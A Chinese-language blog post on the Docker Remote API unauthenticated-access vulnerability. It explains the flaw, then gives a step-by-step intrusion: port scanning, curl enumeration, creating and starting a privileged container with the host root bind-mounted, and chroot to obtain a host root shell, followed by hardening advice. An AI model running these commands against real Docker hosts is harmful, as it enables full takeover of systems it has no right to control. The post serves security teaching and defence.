当前位置: 首页 > news >正文

Docker 远程 API(Remote API)未授权访问漏洞入侵过程

一、漏洞原理

Docker 远程 API(Remote API)未授权访问是容器安全中极为高危的场景。

Docker 默认通过 Unix Socket(/var/run/docker.sock)进行本地通信,只有本机上的授权用户才能访问。但是,Docker 也支持通过 TCP 端口进行远程管理。当 Docker Daemon 监听在 TCP 端口(默认为 2375 或 2376)且未配置 TLS 认证或访问控制列表(ACL)时,攻击者可以直接通过 HTTP 请求与 Docker 守护进程交互,从而完全控制宿主机。

二、入侵过程

1.端口扫描

namp -Pn -p 2375,2376 <target_ip>

2.服务识别‌banner信息

curl http://<target_ip>:2375/version

如果返回包含Version,ApiVersion,Os等字段的 JSON 数据,说明目标存在未授权访问漏洞。

3.信息收集

查看正在运行的容器:curl http://<target_ip>:2375/containers/json

查看本地镜像:curl http://<target_ip>:2375/images/json

查看宿主信息:curl http://<target_ip>:2375/info

4.权限获取与容器逃逸

由于 Docker API 拥有对守护进程的完全控制权,攻击者可以通过创建特权容器或挂载宿主机关键目录来实现逃逸,进而获得宿主机的 Root 权限。

创建特权容器,指定挂载卷和特权模式。

curl -X POST -H "Content-Type: application/json" \

--data '{

"Image": "ubuntu",

"Cmd": ["/bin/bash"],

"Tty": true,

"Privileged": true,

"HostConfig": { "Binds": ["/:/host"] }

}' \

http://<target_ip>:2375/containers/create?name=exploit

启动特权容器

curl -X POST http://<target_ip>:2375/containers/exploit/start

执行远程交互式 Shell‌:

# 本地客户端连接远程 API

export DOCKER_HOST=tcp://<target_ip>:2375

docker exec -it exploit /bin/bash

在容器内操作宿主机文件系统‌:

# 在容器内执行

chroot /host

# 此时已获得宿主机的 Root Shell

whoami
三、防御与加固建议
1.禁止暴露 TCP 端口‌:
默认情况下,Docker Daemon 只监听 Unix Socket (/var/run/docker.sock)。
除非绝对必要,不要通过 -H tcp://0.0.0.0:2375 启动 Docker。
2‌.启用 TLS 认证‌:
如果必须远程管理,务必配置 TLS 双向认证(Client Certificate Authentication),确保只有持有合法证书的客户端才能连接。
启动参数示例:dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H tcp://0.0.0.0:2376
3.使用防火墙限制访问‌:
通过 iptables 或云安全组,仅允许受信任的 IP 地址访问 Docker API 端口。
4‌.避免挂载敏感目录‌:
在生产环境中,尽量避免将宿主机的 /、/etc、/var/run/docker.sock 等敏感目录挂载到容器内。
如果必须挂载,使用只读模式 (:ro)。
‌5.最小权限原则‌:
不要以 --privileged 模式运行容器,除非确实需要。
使用 Seccomp、AppArmor 或 SELinux 限制容器的系统调用能力。

http://www.jsqmd.com/news/1300258/

相关文章:

  • 终极AI图像分层神器:layerdivider让复杂插画分层从数小时缩短到几分钟 [特殊字符]
  • 2026实力之选:常州互合清洗设备有限公司——常州超声波与高压喷淋清洗领域的专业制造服务商 - 卓企推荐
  • 程序员必须知道的HTML常用代码有哪些?
  • 3分钟解锁Microsoft 365完整功能:Ohook开源方案完全指南
  • STM32开发环境搭建:Keil MDK与STM32CubeMX配置全攻略
  • STM32CubeMX图形化配置工具:从零入门到项目实战全解析
  • 如何快速上手WAS节点套件:3个核心模块解锁ComfyUI无限潜力
  • 东营汽车音响品牌老店亲测汽车音响首推东营TOP - 米諾
  • WPS未登录使用所有功能
  • ADS设计2.4GHz切比雪夫微带带通滤波器:从理论到EM仿真实战
  • 3个为什么让你必须了解YimMenu:GTA5最强防崩溃菜单的终极解决方案
  • 低成本AI创业如何控制风险:5类项目优劣势对比,重点推荐BBWEYY GEO服务代理,含零代码SAAS、AI编程、源码定制交付
  • SSH连接Windows身份验证全解析:从原理到实战解决Permission denied
  • 起步阶段的财税公司靠免费流量能养活自己吗,真相与现实路径 - 财赋有道
  • 从0搭建可商用AI虚拟背景服务:Kubernetes+ONNX Runtime+FFmpeg硬编码流水线(含GitHub Star超2.4k的私有化部署模板)
  • Claude Code工程化实践:从AI代码生成到智能体开发工作流
  • 单片机毕设选题推荐:基于蜂鸣器提醒的智能指纹打卡系统开发 基于移动端 APP 的嵌入式指纹考勤平台设计(015001)
  • 2026园林农具采购攻略:园林锄头批发厂家/园林五金工具源头直销厂商 - 栗子测评
  • 2026上海黄浦区钻石回收合规白皮书:4C分级计价时代,添价收黄金奢侈品回收中心领衔7大指定服务商名单出炉 - 奢侈品回收知识分享
  • AI智能体短期失忆问题与Agent Skills解决方案
  • C++字符串处理实战:5道核心题掌握std::string标准库精髓
  • Frida环境配置与验证:安装后必做的五个排错步骤
  • 哈尔滨黄金回收消费警示:避开偷金陷阱,认准这些正规操作流程 - 日常比对手册
  • Unity热更新技术深度对比:Lua、ILRuntime与HybridCLR的实战解析
  • 2026园艺工具批发供应商推荐:绿篱机批发定制/高空采摘工具锂电园林工具源头厂商 - 栗子测评
  • 如何高效使用MP4Box.js:浏览器端MP4处理的完整解决方案
  • FanControl终极指南:免费Windows风扇控制软件的完整配置手册
  • 电赛视觉追踪系统实战:从OpenCV到卡尔曼滤波的完整构建指南
  • 3分钟快速上手:Wand-Enhancer终极指南解锁WeMod完整功能体验
  • AI大模型训练数据来源:如何用代理IP规范获取多语种语料?